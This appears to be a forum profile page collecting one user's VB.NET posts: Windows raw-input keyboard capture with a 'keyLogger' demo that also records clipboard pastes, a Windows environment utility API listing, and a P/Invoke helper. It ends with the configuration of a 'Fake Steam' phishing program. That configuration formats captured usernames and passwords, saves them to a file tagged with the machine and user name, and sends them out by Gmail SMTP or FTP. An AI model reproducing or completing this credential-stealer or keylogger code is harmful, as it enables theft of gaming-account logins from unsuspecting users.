Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarThe raw input model is different from the original Windows input model for the keyboard and mouse.
In the original input model, an application receives device-independent input in the form of messages that are sent or posted to its windows, such as WM_CHAR, WM_MOUSEMOVE, and WM_APPCOMMAND. In contrast, for raw input an application must register the devices it wants to get data from.
Also, the application gets the raw input through the WM_INPUT message.
There are several advantages to the raw input model:
An application does not have to detect or open the input device.
An application gets the data directly from the device, and processes the data for its needs.
An application can distinguish the source of the input even if it is from the same type of device. For example, two mouse devices.
An application manages the data traffic by specifying data from a collection of devices or only specific device types.
HID devices can be used as they become available in the marketplace, without waiting for new message types or an updated OS to have new commands in WM_APPCOMMAND.
Public NotInheritable Class Form1 : Inherits Form
Private WithEvents keyLogger As InputDevice
Public Sub New()
Me.InitializeComponent()
' Instance an InputDevice object, which enumerates and registers the keyboards found.
Me.keyLogger = New InputDevice(Me.Handle)
' Set keyboard layout to the default culture, in my case 'es-ES'.
Me.keyLogger.Language = InputLanguage.DefaultInputLanguage.Culture.Name
' Handle text pasting operations (Ctrl+V).
Me.keyLogger.HandlePastes = True
' Avoid raising KeyPressed event for non-relevant keys for this app example:
' Left/Right Shift, Alt, AltGr, CapsLock, NumLock, and Left/Right Win key.
Me.keyLogger.IgnoredKeys = {Keys.ShiftKey, Keys.Menu, Keys.CapsLock, Keys.NumLock, Keys.LWin, Keys.RWin}
' Me.keyLogger.IgnoredChars = {"^"c}
' Me.keyLogger.IgnoredCharsComparer = EqualityComparer(Of Char).Default
' Me.keyLogger.IgnoredStrings = {"^^"}
' Me.keyLogger.IgnoredStringsComparer = StringComparer.OrdinalIgnoreCase
End Sub
Private Sub KeyLogger_KeyPressed(ByVal sender As Object, ByVal e As InputDevice.KeyPressedEventArgs) _
Handles keyLogger.KeyPressed
Me.Label_Handle.Text = String.Format("Device Handle: {0}", e.DeviceInfo.DeviceHandle.ToString)
Me.Label_Type.Text = String.Format("Device Type: {0}", e.DeviceInfo.DeviceType)
Me.Label_Name.Text = String.Format("Device Name: {0}", e.DeviceInfo.DeviceName.Replace("&", "&&"))
Me.Label_Descr.Text = String.Format("Device Description: {0}", e.DeviceInfo.DeviceDescription)
Me.Label_Key.Text = String.Format("Device Key: System.Windows.Forms.Keys.{0}", e.DeviceInfo.Key.ToString)
Me.Label_DevCount.Text = String.Format("Devices Count: {0}", Me.keyLogger.DeviceCount.ToString)
Select Case e.DeviceInfo.Key
Case Keys.Enter
e.DeviceInfo.Chars = ControlChars.CrLf & "{ENTER}"
Case Keys.Back
e.DeviceInfo.Chars = "{BACKSPACE}"
Case Keys.ControlKey
e.DeviceInfo.Chars = "{CTRL}"
Case Else
' ...
End Select
Me.TextBox1.Text = e.DeviceInfo.Chars
Me.TextBox2.AppendText(e.DeviceInfo.Chars)
End Sub
Private Sub KeyLogger_HotkeyPastePressed(ByVal sender As Object, ByVal e As InputDevice.HotkeyPastePressedEventArgs) _
Handles keyLogger.HotkeyPastePressed
Me.TextBox2.AppendText("{INIT_PASTE}" & e.ClipboardData & "{END_PASTE}")
End Sub
Private Sub Button_Clean_Click(sender As Object, e As EventArgs) _
Handles Button_Clean.Click
Me.TextBox2.Clear()
End Sub
Private Sub Button_Dispose_Click(ByVal sender As Object, ByVal e As EventArgs) _
Handles Button_Dispose.Click
If Me.keyLogger IsNot Nothing Then
Me.keyLogger.Dispose()
End If
End Sub
End Class
#Region " Public Members Summary "
#Region " Child Util-Classes "
EnvironmentUtil.EnvironmentVariables
EnvironmentUtil.FileSystem
EnvironmentUtil.OS
EnvironmentUtil.Programs
EnvironmentUtil.Shell
EnvironmentUtil.Shell.Desktop
EnvironmentUtil.Shell.Explorer
EnvironmentUtil.Shell.StartMenu
EnvironmentUtil.Shell.TaskBar
EnvironmentUtil.Theming
#End Region
#Region " Properties "
EnvironmentUtil.EnvironmentVariables.CurrentVariables(EnvironmentUtil.EnvironmentUser) As ReadOnlyCollection(Of EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo)
EnvironmentUtil.OS.ActiveWindowTrackingEnabled As Boolean
EnvironmentUtil.OS.ActiveWindowTrackingTimeout As UShort
EnvironmentUtil.OS.BeepEnabled As Boolean
EnvironmentUtil.OS.BlockSendInputResetsEnabled As Boolean
EnvironmentUtil.OS.BorderMultiplierFactor As Integer
EnvironmentUtil.OS.CaretWidth As Integer
EnvironmentUtil.OS.CleartypeEnabled As Boolean
EnvironmentUtil.OS.ClientAreaAnimationEnabled As Boolean
EnvironmentUtil.OS.ComboBoxAnimationEnabled As Boolean
EnvironmentUtil.OS.CurrentArchitecture() As EnvironmentUtil.OS.Architecture
EnvironmentUtil.OS.CursorShadowEnabled As Boolean
EnvironmentUtil.OS.DoubleClickSize As Size
EnvironmentUtil.OS.DoubleClickTime As Integer
EnvironmentUtil.OS.DragFullWindowsEnabled As Boolean
EnvironmentUtil.OS.DragSize As Size
EnvironmentUtil.OS.DropShadowEnabled As Boolean
EnvironmentUtil.OS.FlatMenuEnabled As Boolean
EnvironmentUtil.OS.FocusBorderSize As Size
EnvironmentUtil.OS.FontSmoothingContrast As Integer
EnvironmentUtil.OS.FontSmoothingEnabled As Boolean
EnvironmentUtil.OS.ForegroundFlashCount As UShort
EnvironmentUtil.OS.ForegroundLockTimeout As UShort
EnvironmentUtil.OS.HotTrackingEnabled As Boolean
EnvironmentUtil.OS.HungAppTimeout As Integer
EnvironmentUtil.OS.IconSpacing As Size
EnvironmentUtil.OS.IconTitleWrappingEnabled As Boolean
EnvironmentUtil.OS.KeyboardDelay As Integer
EnvironmentUtil.OS.KeyboardSpeed As Integer
EnvironmentUtil.OS.ListBoxSmoothScrollingEnabled As Boolean
EnvironmentUtil.OS.MenuAccessKeysUnderlined As Boolean
EnvironmentUtil.OS.MenuAnimationEnabled As Boolean
EnvironmentUtil.OS.MenuFadeEnabled As Boolean
EnvironmentUtil.OS.MenuShowDelay As Integer
EnvironmentUtil.OS.MessageDuration As Long
EnvironmentUtil.OS.MouseButtonsSwapEnabled As Boolean
EnvironmentUtil.OS.MouseClickLockEnabled As Boolean
EnvironmentUtil.OS.MouseClickLockTime As Integer
EnvironmentUtil.OS.MouseHoverSize As Size
EnvironmentUtil.OS.MouseHoverTime As Integer
EnvironmentUtil.OS.MouseSonarEnabled As Boolean
EnvironmentUtil.OS.MouseSpeed As Integer
EnvironmentUtil.OS.MouseTrailAmount As Integer
EnvironmentUtil.OS.MouseVanishEnabled As Boolean
EnvironmentUtil.OS.MouseWheelScrollLines As Integer
EnvironmentUtil.OS.OverlappedContentEnabled As Boolean
EnvironmentUtil.OS.PopupMenuAlignment As LeftRightAlignment
EnvironmentUtil.OS.ScreensaverEnabled As Boolean
EnvironmentUtil.OS.ScreensaverPath As String
EnvironmentUtil.OS.ScreensaverTimeout As Integer
EnvironmentUtil.OS.ScreensaveSecureEnabled As Boolean
EnvironmentUtil.OS.SelectionFadeEnabled As Boolean
EnvironmentUtil.OS.SnapToDefaultEnabled As Boolean
EnvironmentUtil.OS.SystemDateTime As Date
EnvironmentUtil.OS.SystemLanguageBarEnabled As Boolean
EnvironmentUtil.OS.TitleBarGradientEnabled As Boolean
EnvironmentUtil.OS.ToolTipAnimationEnabled As Boolean
EnvironmentUtil.OS.UIEffectsEnabled As Boolean
EnvironmentUtil.OS.WaitToKillAppTimeout As Integer
EnvironmentUtil.OS.WaitToKillServiceTimeout As Integer
EnvironmentUtil.OS.WheelscrollChars As Integer
EnvironmentUtil.Programs.DefaultWebBrowser() As String
EnvironmentUtil.Programs.IExplorerVersion() As Version
EnvironmentUtil.Shell.Explorer.ExplorerWindows As ReadOnlyCollection(Of ShellBrowserWindow)
EnvironmentUtil.Shell.Explorer.ExplorerWindowsFolders As ReadOnlyCollection(Of Shell32.Folder2)
EnvironmentUtil.Shell.TaskBar.ClassName() As String
EnvironmentUtil.Shell.TaskBar.Hwnd() As Intptr
EnvironmentUtil.Theming.AeroEnabled() As Boolean
EnvironmentUtil.Theming.AeroSupported() As Boolean
EnvironmentUtil.Theming.CurrentTheme() As EnvironmentUtil.Theming.ThemeInfo
EnvironmentUtil.Theming.CurrentWallpaper() As String
EnvironmentUtil.Theming.WallpaperAsJpegIsSupported() As Boolean
EnvironmentUtil.Theming.WallpaperStylesFitFillAreSupported() As Boolean
#End Region
#Region " Types "
EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo
EnvironmentUtil.Theming.ThemeInfo
#End Region
#Region " Functions "
EnvironmentUtil.EnvironmentVariables.GetValue(EnvironmentUtil.EnvironmentUser, String, Boolean) As String
EnvironmentUtil.EnvironmentVariables.GetVariableInfo(EnvironmentUtil.EnvironmentUser, String, Boolean) As EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo
EnvironmentUtil.FileSystem.GetItemVerbs(String) As IEnumerable(Of FolderItemVerb)
EnvironmentUtil.FileSystem.ItemNameIsInvalid(String) As Boolean
EnvironmentUtil.FileSystem.ItemNameOrPathIsInvalid(String) As Boolean
EnvironmentUtil.FileSystem.ItemPathIsInvalid(String) As Boolean
#End Region
#Region " Methods "
EnvironmentUtil.EnvironmentVariables.RegisterVariable(EnvironmentUtil.EnvironmentUser, EnvironmentUtil.EnvironmentVariables.EnvironmentVariableInfo, Boolean)
EnvironmentUtil.EnvironmentVariables.RegisterVariable(EnvironmentUtil.EnvironmentUser, String, String, Boolean)
EnvironmentUtil.EnvironmentVariables.UnregisterVariable(EnvironmentUtil.EnvironmentUser, String, Boolean)
EnvironmentUtil.FileSystem.InvokeItemVerb(String, String)
EnvironmentUtil.OS.NotifyDirectoryAttributesChanged(String)
EnvironmentUtil.OS.NotifyDirectoryCreated(String)
EnvironmentUtil.OS.NotifyDirectoryDeleted(String)
EnvironmentUtil.OS.NotifyDirectoryRenamed(String, String)
EnvironmentUtil.OS.NotifyDriveAdded(String, Boolean)
EnvironmentUtil.OS.NotifyDriveRemoved(String)
EnvironmentUtil.OS.NotifyFileAssociationChanged()
EnvironmentUtil.OS.NotifyFileAttributesChanged(String)
EnvironmentUtil.OS.NotifyFileCreated(String)
EnvironmentUtil.OS.NotifyFileDeleted(String)
EnvironmentUtil.OS.NotifyFileRenamed(String, String)
EnvironmentUtil.OS.NotifyFreespaceChanged(String)
EnvironmentUtil.OS.NotifyMediaInserted(String)
EnvironmentUtil.OS.NotifyMediaRemoved(String)
EnvironmentUtil.OS.NotifyNetworkFolderShared(String)
EnvironmentUtil.OS.NotifyNetworkFolderUnshared(String)
EnvironmentUtil.OS.NotifyUpdateDirectory(String)
EnvironmentUtil.OS.NotifyUpdateImage()
EnvironmentUtil.OS.ReloadSystemCursors()
EnvironmentUtil.OS.ReloadSystemIcons()
EnvironmentUtil.OS.RunDateTime()
EnvironmentUtil.OS.RunExecuteDialog()
EnvironmentUtil.OS.RunFindComputer()
EnvironmentUtil.OS.RunFindFiles()
EnvironmentUtil.OS.RunFindPrinter()
EnvironmentUtil.OS.RunHelpCenter()
EnvironmentUtil.OS.RunSearchCommand()
EnvironmentUtil.OS.RunTrayProperties()
EnvironmentUtil.OS.RunWindowsSecurity()
EnvironmentUtil.OS.RunWindowSwitcher()
EnvironmentUtil.Shell.Desktop.CascadeWindows()
EnvironmentUtil.Shell.Desktop.Hide()
EnvironmentUtil.Shell.Desktop.Show()
EnvironmentUtil.Shell.Desktop.TileWindowsHorizontally()
EnvironmentUtil.Shell.Desktop.TileWindowsVertically()
EnvironmentUtil.Shell.Desktop.ToggleState()
EnvironmentUtil.Shell.Explorer.AddFileToRecentDocs(String)
EnvironmentUtil.Shell.Explorer.RefreshWindows()
EnvironmentUtil.Shell.StartMenu.PinItem(String)
EnvironmentUtil.Shell.StartMenu.UnpinItem(String)
EnvironmentUtil.Shell.TaskBar.Hide(Boolean)
EnvironmentUtil.Shell.TaskBar.PinItem(String)
EnvironmentUtil.Shell.TaskBar.Show(Boolean)
EnvironmentUtil.Shell.TaskBar.UnpinItem(String)
EnvironmentUtil.Theming.RemoveDesktopWallpaper()
EnvironmentUtil.Theming.SetDesktopWallpaper(String, EnvironmentUtil.Theming.WallpaperStyle)
EnvironmentUtil.Theming.SetSystemCursor(String, EnvironmentUtil.Theming.CursorType)
#End Region
#End Region
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int xxx();
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function xxx() As Integer
End Function
''' <summary>
''' Invokes the encapsulated function, Tthen checks the exit code returned by the function that was called using platform invoke
''' that has the <see cref="DllImportAttribute.SetLastError"/> flag set.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Win32Exception">
''' Function 'X' thrown an unmanaged Win32 exception with error code 'X'.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
Private Shared Sub SafePInvoke(Of T)(ByRef refResult As T, ByVal expr As expression(Of Func(Of T)))
refResult = expr.Compile.Invoke()
Dim exitCode As Integer = Marshal.GetLastWin32Error
If exitCode <> 0 Then
Throw New Win32Exception([error]:=exitCode, message:=String.Format("Function '{0}' thrown an unmanaged Win32 exception with error code '{1}'.",
CType(expr.Body, MethodCallExpression).Method.Name, CStr(exitCode)))
End If
End Sub
Cita de: http://www.phonehorn.com/2014/08/advantages-disadvantages-rooting/Advantages Of Rooting
...
You can delete/freeze system apps using apps like Root Explorer, Root Browser, Titanium backup etc.
...
#Region " Steam Interface Configuration "
''' <summary>
''' The default steam interface language.
''' Use this for testing purposses
''' </summary>
Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
''' <summary>
''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
''' Use this for testing purposses
''' </summary>
Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
#End Region
#Region " Username and Password Configuration "
''' <summary>
''' The string format to write/upload/send the captured username/password.
''' </summary>
Public Shared ReadOnly UserPassTextFormat As String =
<a><![CDATA[
Username={0}
Password={1}
]]></a>.Value
#End Region
#Region " Local Storage Configuration "
''' <summary>
''' If set to <c>True</c>, enables local storage of the username/password.
''' </summary>
Public Shared ReadOnly EnableLocalStorage As Boolean = True
''' <summary>
''' The local directory where to write the file.
''' If the directory doesn't exists, it will try to create it.
''' </summary>
Public Shared ReadOnly LocalDir As String =
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
''' <summary>
''' The file name to store the data on the local directory.
''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
''' </summary>
Public Shared ReadOnly LocalFilenameFormat As String =
String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
''' <summary>
''' Sets the local directory attributes, such as system or hidden.
''' </summary>
Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
''' <summary>
''' Sets the local file attributes, such as readonly or hidden.
''' </summary>
'''
Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
''' <summary>
''' Sets the textfile encoding.
''' </summary>
Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
#End Region
#Region " SMTP Sending Configuration"
''' <summary>
''' If set to <c>True</c>, enables STMP sending of the username/password.
''' </summary>
Public Shared ReadOnly EnableSmtp As Boolean = True
''' <summary>
''' The SMTP server.
''' </summary>
Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
''' <summary>
''' The SMTP server port.
''' </summary>
Public Shared ReadOnly SmtpPort As Integer = 0
''' <summary>
''' The SMTP security.
''' </summary>
Public Shared ReadOnly SmtpSslEnabled As Boolean = True
''' <summary>
''' The mail account address.
''' </summary>
Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
''' <summary>
''' The mail account username/password credentials.
''' </summary>
Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
''' <summary>
''' The mail subject.
''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
''' </summary>
Public Shared ReadOnly MailSubject As String =
String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
#End Region
#Region " FTP Uploading Configuration "
''' <summary>
''' If set to <c>True</c>, enables FTP upload of the username/password.
''' </summary>
Public Shared ReadOnly EnableFtp As Boolean = False
''' <summary>
''' The FTP Server address.
''' </summary>
Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
''' <summary>
''' The FTP server port.
''' </summary>
Public Shared ReadOnly FtpPort As Integer = 21
''' <summary>
''' The FTP username/password credentials.
''' </summary>
Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
''' <summary>
''' The FTP directory where to upload the file.
''' The directory path should exist.
''' </summary>
Public Shared ReadOnly FtpDir As String = "Fake Steam/"
''' <summary>
''' The file name to store the data on the FTP directory.
''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
''' </summary>
Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
''' <summary>
''' If set to <c>True</c>, uses Binary mode for the file transfer.
''' </summary>
Public Shared ReadOnly UseBinaryTransfer As Boolean = False
#End Region